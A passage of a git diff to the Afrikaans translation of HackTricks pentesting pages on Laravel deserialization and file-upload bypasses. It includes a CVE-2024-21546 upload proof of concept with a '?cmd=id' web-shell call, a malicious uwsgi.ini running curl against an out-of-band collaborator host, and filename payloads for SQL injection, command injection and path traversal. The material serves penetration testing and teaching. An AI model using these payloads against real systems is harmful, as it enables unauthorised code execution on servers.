aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') +#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' +encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}') ``` ### Laravel Deserialization RCE -Kwetsbare weergawes: 5.5.40 en 5.6.x deur 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) +Kwetsbare weergawes: 5.5.40 en 5.6.x tot en met 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) -Hier kan jy inligting oor die deserialisering kwesbaarheid vind: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) +Hier vind jy inligting oor die deserialization-kwetsbaarheid: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) -Jy kan dit toets en benut met [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ -Of jy kan dit ook benut met metasploit: `use unix/http/laravel_token_unserialize_exec` +Jy kan dit toets en uitbuit met behulp van [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ +Of jy kan dit ook met metasploit uitbuit: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 -Nog 'n deserialisering: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) +Nog 'n deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) -## References +## Verwysings * [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) * [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html) * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) * [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) * [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) +* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h) +* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301) +* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index c53703f25..b2f736c0f 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -15,13 +15,13 @@ Other useful extensions: - **Perl**: _.pl, .cgi_ - **Erlang Yaws Web Server**: _.yaws_ -### Om kontrole van lêeruitbreidings te omseil +### Omseil kontroles op lêeruitbreidings -1. As dit van toepassing is, **kontroleer** die **vorige extensies.** Toets dit ook met 'n paar **hoofletters**: _pHp, .pHP5, .PhAr ..._ -2. _Kontroleer **om 'n geldige uitbreiding voor** die uitvoeringsuitbreiding by te voeg (gebruik ook die vorige extensies):_ +1. As dit van toepassing is, **kontroleer** die **vorige extensies.** Toets hulle ook deur sommige **hoofdletters** te gebruik: _pHp, .pHP5, .PhAr ..._ +2. _Kontroleer **om 'n geldige extensie voor** die uitvoeringsextensie by te voeg (gebruik ook die vorige extensies):_ - _file.png.php_ - _file.png.Php5_ -3. Probeer om **spesiale karakters aan die einde** by te voeg. Jy kan Burp gebruik om alle **ascii** en **Unicode** karakters te **bruteforce**. (_Let wel dat jy ook die **hierbo** genoemde **extensies** kan gebruik_) +3. Probeer om **spesiale karakters aan die einde** by te voeg. Jy kan Burp gebruik om alle **ascii** en **Unicode** karakters te **bruteforce**. (_Let wel dat jy ook die **vorige** genoemde **extensies** kan probeer._) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ Other useful extensions: - _file._ - _file.php...._ - _file.pHp5...._ -4. Probeer om die beskerming te omseil deur die bediener se uitbreidings-parser te **mislei** met tegnieke soos die **verdubbeling** van die **uitbreiding** of deur **rommeldata** (**null** bytes) tussen extensies te plaas. _Jy kan ook die **vorige extensies** gebruik om 'n beter payload voor te berei._ +4. Probeer om die beskermings te omseil deur die server-side **extension parser** te mislei met tegnieke soos **doubling** die **extension** of **adding junk** data (**null** bytes) tussen extensies. _Jy kan ook die **vorige extensies** gebruik om 'n beter payload voor te berei._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,18 +40,18 @@ Other useful extensions: - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. Voeg **nog 'n laag van extensies** by die vorige toets: +5. Voeg **nog 'n laag extensies** by die vorige toets: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Probeer om die **uitvoeringsuitbreiding vóór die geldige uitbreiding** te plaas en hoop dat die bediener verkeerd gekonfigureer is. (nuttig om Apache-misconfigurasies uit te buit waar enigiets met die uitbreiding **.php**, maar nie noodwendig eindigend in .php nie, kode sal uitvoer): +6. Probeer om die **exec extension voor die geldige extensie** te plaas en hoop dat die bediener verkeerd gekonfigureer is. (nuttig om Apache misconfigurasies uit te buit waar enigiets met die extensie .php, maar nie noodwendig eindigend in .php nie, kode sal uitvoer): - _ex: file.php.png_ -7. Gebruik **NTFS alternate data stream (ADS)** in **Windows**. In hierdie geval sal 'n kolonkarakter ":" ingevoeg word na 'n verbode uitbreiding en voor 'n toegelate een. As gevolg daarvan sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. "file.asax:.jpg"). Hierdie lêer kan later gewysig word met ander tegnieke soos die gebruik van sy short filename. Die "**::$data**" patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n punt-karakter na hierdie patroon by te voeg om verdere beperkings te omseil (bv. "file.asp::$data."). -8. Probeer om die lêernaamgrense te breek. Die geldige uitbreiding word afgekapp en die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php +7. Gebruik **NTFS alternate data stream (ADS)** in **Windows**. In hierdie geval sal 'n kolonkarakter ":" ingevoeg word na 'n verbode extensie en voor 'n toegelate een. As gevolg daarvan sal 'n **leë lêer met die verbode extensie** op die bediener geskep word (bv. "file.asax:.jpg”). Hierdie lêer kan later geredigeer word met ander tegnieke soos die gebruik van sy kort lêernaam. Die "**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon te voeg om verdere beperkings te omseil (bv. "file.asp::$data.”) +8. Probeer om die lêernaamlimiete te breek. Die geldige extensie word afgesny. En die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png # Upload the file and check response how many characters it alllows. Let's say 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @@ -59,56 +59,86 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA<--SNIP 232 A-->AAA.php.png ``` -### Om Content-Type, magic number, kompressie & verkleining te omseil +#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546 -- Om **Content-Type**-kontroles te omseil, stel die **waarde** van die **Content-Type** **header** op: _image/png_ , _text/plain , application/octet-stream_ -1. Content-Type **woordlys**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Om **magic number**-kontroles te omseil, voeg aan die begin van die lêer die **bytes van 'n regte prent** by (verwarring van die _file_ command). Of plaas die shell binne die **metadata**:\ +Sommige upload handlers sny of normaliseer puntkarakters aan die einde van die gestoorde lêernaam. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) weergawes voor 2.9.1 kan jy die extensie-validasie omseil deur: + +- Deur 'n geldige image MIME en magic header te gebruik (bv. PNG se `\x89PNG\r\n\x1a\n`). +- Die opgelaaide lêer te noem met 'n PHP-extensie gevolg deur 'n punt, bv. `shell.php.`. +- Die bediener verwyder die agtervoegende punt en bewaar `shell.php`, wat sal uitvoer as dit in 'n web-aangewese gids geplaas word (standaard public storage soos `/storage/files/`). + +Minimal PoC (Burp Repeater): +```http +POST /profile/avatar HTTP/1.1 +Host: target +Content-Type: multipart/form-data; boundary=----WebKitFormBoundary + +------WebKitFormBoundary +Content-Disposition: form-data; name="upload"; filename="0xdf.php." +Content-Type: image/png + +\x89PNG\r\n\x1a\n +------WebKitFormBoundary-- +``` +Roep dan die gestoorde pad aan (tipies in Laravel + LFM): +``` +GET /storage/files/0xdf.php?cmd=id +``` +Mitigasies: +- Werk op unisharp/laravel-filemanager na ≥ 2.9.1. +- Dwing streng server-side allowlists af en valideer die gestoorde lêernaam weer. +- Bedien uploads vanaf nie-uitvoerbare liggings. + +### Bypass Content-Type, Magic Number, Compression & Resizing + +- Bypass **Content-Type** checks deur die **value** van die **Content-Type** **header** te stel op: _image/png_ , _text/plain , application/octet-stream_ +1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) +- Bypass **magic number** check deur aan die begin van die lêer die **bytes van 'n werklike beeld** by te voeg (om die _file_ command te mislei). Of plaas die shell in die **metadata**:\ `exiftool -Comment="' >> img.png` -- As **kompressie by jou prent gevoeg word**, byvoorbeeld deur standaard PHP-biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke moontlik nie werk nie. Gebruik in daardie geval die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) om teks in te sluit wat **kompressie sal oorleef**. +- As **kompressie by jou beeld toegepas word**, byvoorbeeld deur sommige standaard PHP-biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- Die webblad kan ook die **beeld verklein** of verander van grootte maak, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. In sulke gevalle kan jy die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**. +- Die webblad kan die **image** ook **resize**, byvoorbeeld met die PHP-GD funksies `imagecopyresized` of `imagecopyresampled`. Jy kan egter die **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Nog 'n tegniek om 'n payload te maak wat '**n beeldverkleining oorleef**', is om die PHP-GD funksie `thumbnailImage` te gebruik. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**. +- Nog 'n tegniek om 'n payload te maak wat **'n beeld-hergrootting oorleef**, gebruik die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### Ander truuks om te toets +### Other Tricks to check -- Vind 'n kwesbaarheid om die reeds opgelaaide lêer te **hernommer** (om die uitbreiding te verander). -- Vind 'n **Local File Inclusion**-kwesbaarheid om die backdoor uit te voer. +- Vind 'n kwesbaarheid om die reeds opgelaaide lêer te **hernoem** (om die uitbreiding te verander). +- Vind 'n **Local File Inclusion** kwesbaarheid om die backdoor uit te voer. - **Moontlike inligtingslek**: -1. Laai **veral** keer dieselfde lêer op (en op presies dieselfde tyd) met dieselfde naam -2. Laai 'n lêer op met die **naam** van 'n **lêer** of **gids** wat **reeds bestaan** -3. Laai 'n lêer op met **"." , "..", of "…" as die naam**. Byvoorbeeld, in Apache op **Windows**, as die toepassing die opgelaaide lêers in die "/www/uploads/" gids stoor, sal die "." lêernaam 'n lêer genaamd "uploads" in die "/www/" gids skep. -4. Laai 'n lêer op wat moeilik verwyder kan word soos **"…:.jpg"** in **NTFS**. (Windows) +1. Laai die **selfde lêer** **meermale** (en op die **selfde tyd**) op met dieselfde naam. +2. Laai 'n lêer op met die **naam** van 'n **lêer** of **gids** wat **reeds bestaan**. +3. Laai 'n lêer op met **"." , "..", of "..." as sy naam**. Byvoorbeeld, in Apache op **Windows**, as die toepassing die opgelaaide lêers in "/www/uploads/" directory stoor, sal die "." lêernaam 'n lêer genaamd "uploads" in die "/www/" directory skep. +4. Laai 'n lêer op wat nie maklik verwyder kan word nie, soos **"...:.jpg"** in **NTFS**. (Windows) 5. Laai 'n lêer op in **Windows** met **ongeldige karakters** soos `|<>*?”` in die naam. (Windows) -6. Laai 'n lêer op in **Windows** met **gereserveerde** (**verbode**) name soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9. -- Probeer ook om 'n **uitvoerbare lêer** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur die teiken geopen word. +6. Laai 'n lêer op in **Windows** met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. +- Probeer ook om 'n **uitvoerbare lêer op te laai** (.exe) of 'n **.html** (minder verdag) wat **kode sal uitvoer** wanneer dit per ongeluk deur 'n slagoffer geopen word. -### Spesiale uitbreidingstruuks +### Spesiale uitbreidings-trieke -As jy probeer om lêers na 'n **PHP server** op te laai, [kyk na die **.htaccess** truuk om kode uit te voer](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -As jy probeer om lêers na 'n **ASP server** op te laai, [kyk na die **.config** truuk om kode uit te voer](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +As jy probeer om lêers na 'n **PHP server** op te laai, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +As jy probeer om lêers na 'n **ASP server** op te laai, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **soos 'n php-lêer gebruik word** (uitvoer met php, of insluit in 'n skrip...). +Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **soos 'n php-lêer gebruik word** (uitgevoer met php, of ingesluit in 'n script...). -Die `.inc` uitbreiding word soms gebruik vir php-lêers wat net gebruik word om **lêers in te sluit**, so op 'n sekere punt kan iemand hierdie uitbreiding toegelaat het om **uitgevoer te word**. +Die `.inc` uitbreiding word soms gebruik vir php-lêers wat net gebruik word om **lêers te importeer**, so op 'n stadium kan iemand hierdie uitbreiding toegelaat het om **uitgevoer te word**. ## **Jetty RCE** -As jy 'n XML-lêer na 'n Jetty-bediener kan oplaai, kan jy [RCE kry omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos in die volgende beeld genoem, laai die XML-lêer in `$JETTY_BASE/webapps/` op en verwag die shell! +As jy 'n XML-lêer na 'n Jetty server kan oplaai, kan jy [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos in die volgende beeld vermeld, laai die XML-lêer na `$JETTY_BASE/webapps/` en verwag die shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -Vir 'n gedetaileerde verkenning van hierdie kwesbaarheid, sien die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Remote Command Execution (RCE) kwesbaarhede kan in uWSGI-bedieners uitgebuit word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI-konfigurasielêers gebruik 'n spesifieke sintaksis om "magic" veranderlikes, plekhouers en operateurs in te sluit. Noemenswaardig is die '@' operateur, wat as `@(filename)` gebruik word en bedoel is om die inhoud van 'n lêer in te sluit. Onder die verskeie ondersteunde skemas in uWSGI is die "exec" skema besonder kragtig, wat toelaat om data vanaf 'n proses se standaarduitset te lees. Hierdie funksie kan gemanipuleer word vir kwaadwillige doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word. +Remote Command Execution (RCE) kwetsbaarhede kan op uWSGI servers uitgebuit word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI-konfigurasielêers gebruik 'n spesifieke sintaks om "magic" veranderlikes, placeholders, en operateurs in te sluit. Besonder is die '@' operateur, gebruik as `@(filename)`, wat bedoel is om die inhoud van 'n lêer in te sluit. Onder die verskeie ondersteunde skemas in uWSGI is die "exec" skema besonder kragtig, omdat dit toelaat om data vanaf 'n proses se standaarduitset te lees. Hierdie funksie kan gemanipuleer word vir kwaadwillige doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word. -Oorweeg die volgende voorbeeld van 'n kwaadwillige `uwsgi.ini`-lêer wat verskeie skemas demonstreer: +Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskeie skemas demonstreer: ```ini [uwsgi] ; read from a symbol @@ -126,14 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -Die uitvoering van die payload vind plaas tydens die ontleding van die konfigurasielêer. Om die konfigurasie te aktiveer en te ontleed, moet die uWSGI-proses óf herbegin word (moontlik na 'n crash of as gevolg van 'n Denial of Service attack) óf die lêer moet op auto-reload gestel wees. Die auto-reload-funksie, indien geaktiveer, herlaai die lêer op gespesifiseerde intervalle wanneer veranderinge gedetecteer word. +Die uitvoering van die payload gebeur tydens die parsing van die configuration file. Om die configuration te aktiveer en te parse, moet die uWSGI-proses óf herbegin word (moontlik na 'n crash of as gevolg van 'n Denial of Service attack) óf die lêer moet op auto-reload gestel word. Die auto-reload-funksie, indien aangeskakel, reload die lêer op gespesifiseerde intervalle wanneer veranderinge opgespoor word. -Dit is uiters belangrik om die losse aard van uWSGI se konfigurasielêer-ontleding te verstaan. Spesifiek kan die bespreekte payload in 'n binêre lêer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van moontlike eksploitasie verder uitbrei. +Dit is noodsaaklik om die los aard van uWSGI se configuration file parsing te verstaan. Spesifiek kan die genoemde payload in 'n binary file (soos 'n image of PDF) ingevoeg word, wat die omvang van potensiële exploitasiemoglikhede verder vergroot. -## **wget Lêeroplaai/SSRF Truuk** +## **wget File Upload/SSRF Trick** -In sommige gevalle sal jy vind dat 'n server **`wget`** gebruik om **lêers af te laai** en jy kan die **URL** aandui. In sulke gevalle mag die kode nagaan dat die extensie van die afgelaaide lêers in 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. Hierdie kontrole kan egter **omseil** worden.\ -Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, maar **wget** sny die filenamens af na **236** karakters. Jy kan **'n lêer aflaai met die naam "A"\*232+".php"+".gif"**, hierdie filenaam sal die **kontrole** **omseil** (soos in hierdie voorbeeld **".gif"** 'n **geldige** extensie is) maar `wget` sal die lêer **hernoem** na **"A"\*232+".php"**. +In sommige gevalle sal jy vind dat 'n server **`wget`** gebruik om **`download files`** en jy kan die **`URL`** aandui. In sulke gevalle mag die code kontroleer dat die uitbreiding van die gedownloade lêers op 'n whitelist is om te verseker dat slegs toegelate lêers gedownload word. However, `this check can be bypassed.`\ +Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, maar **wget** verkort die lêernaam tot **236** karakters. Jy kan **download a file called "A"\*232+".php"+".gif"**, hierdie lêernaam sal die **bypass** die **check** (soos in hierdie voorbeeld **".gif"** 'n **valid** uitbreiding is) maar `wget` sal die lêer **rename** na **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -156,35 +186,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Noteer dat jy dalk aan nog 'n opsie dink om hierdie kontrole te omseil: laat die **HTTP server** herlei na 'n ander lêer, sodat die aanvanklike **URL** die kontrole omseil en dan `wget` die herleiëde lêer met die nuwe naam aflaai. Dit sal egter **nie werk nie** **tensy** `wget` met die **parameter** `--trust-server-names` gebruik word, omdat **wget will download the redirected page with the name of the file indicated in the original URL**. +Noteer dat **'n ander opsie** waaraan jy dalk dink om hierdie kontrole te omseil, is om die **HTTP server na 'n ander lêer te herlei**, sodat die aanvanklike URL die kontrole omseil maar wget dan die herlei lêer met die nuwe naam sal aflaai. Dit **sal nie werk nie** **tensy** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herlei bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is, sal aflaai**. ## Tools -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is 'n kragtige hulpmiddel ontwerp om Pentesters en Bug Hunters te help met die toetsing van file upload mechanisms. Dit benut verskeie bug bounty techniques om die proses van identifisering en exploit van kwetsbaarhede te vereenvoudig en verseker deeglike assesserings van webtoepassings. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is 'n kragtige hulpmiddel ontwerp om Pentesters en Bug Hunters te help met die toets van file upload-meganismes. Dit maak gebruik van verskeie bug bounty techniques om die proses van die identifisering en benutting van vulnerabilities te vereenvoudig, en verseker deeglike assesserings van web applications. ### Corrupting upload indices with snprintf quirks (historical) -Sommige ouer upload handlers wat `snprintf()` of iets soortgelyks gebruik om multi-file arrays van 'n single-file upload te bou, kan mislei word om die `_FILES` struktuur te vervals. As gevolg van inkonsekwenthede en afkap in die gedrag van `snprintf()`, kan 'n sorgvuldig saamgestelde enkele upload aan die bedienerkant as meerdere geïndekseerde lêers voorkom, wat logika wat 'n streng vorm aanvaar (bv. dit as 'n multi-file upload beskou en onveilige takke ingaan) in die war bring. Alhoewel dit vandag niskerig is, duik hierdie “index corruption” patroon af en toe weer op in CTFs en ouer codebasisse. +Sommige legacy upload handlers wat `snprintf()` of soortgelyke funksies gebruik om multi-file arrays uit 'n single-file upload te bou, kan mislei word om die `_FILES` struktuur te vervals. As gevolg van inkonsekwenthede en afkap in die gedrag van `snprintf()`, kan 'n noukeurig saamgestelde enkele upload aan die bedienerkant as verskeie geïndekseerde lêers voorkom, wat logika wat 'n streng vorm aanvaar in die war stuur (bv. dit as 'n multi-file upload beskou en onveilige takke volg). Al is dit vandag nis, duik hierdie “index corruption” patroon soms weer op in CTFs en ouer kodebasisse. -## From File upload to other vulnerabilities +## Van lêeroplaai na ander kwesbaarhede -- Stel **filename** op `../../../tmp/lol.png` en probeer 'n **path traversal** bewerkstellig -- Stel **filename** op `sleep(10)-- -.jpg` en jy mag 'n **SQL injection** kan bereik -- Stel **filename** op `` om 'n XSS te bewerkstellig -- Stel **filename** op `; sleep 10;` om sekere command injection te toets (meer [command injections tricks here](../command-injection.md)) +- Stel **filename** op `../../../tmp/lol.png` en probeer 'n **path traversal** bereik +- Stel **filename** op `sleep(10)-- -.jpg` en jy mag in staat wees om 'n **SQL injection** te bewerkstellig +- Stel **filename** op `` om 'n **XSS** te bewerkstellig +- Stel **filename** op `; sleep 10;` om sekere command injection te toets (more [command injections tricks here](../command-injection.md)) - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) - Probeer **different svg payloads** van [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - 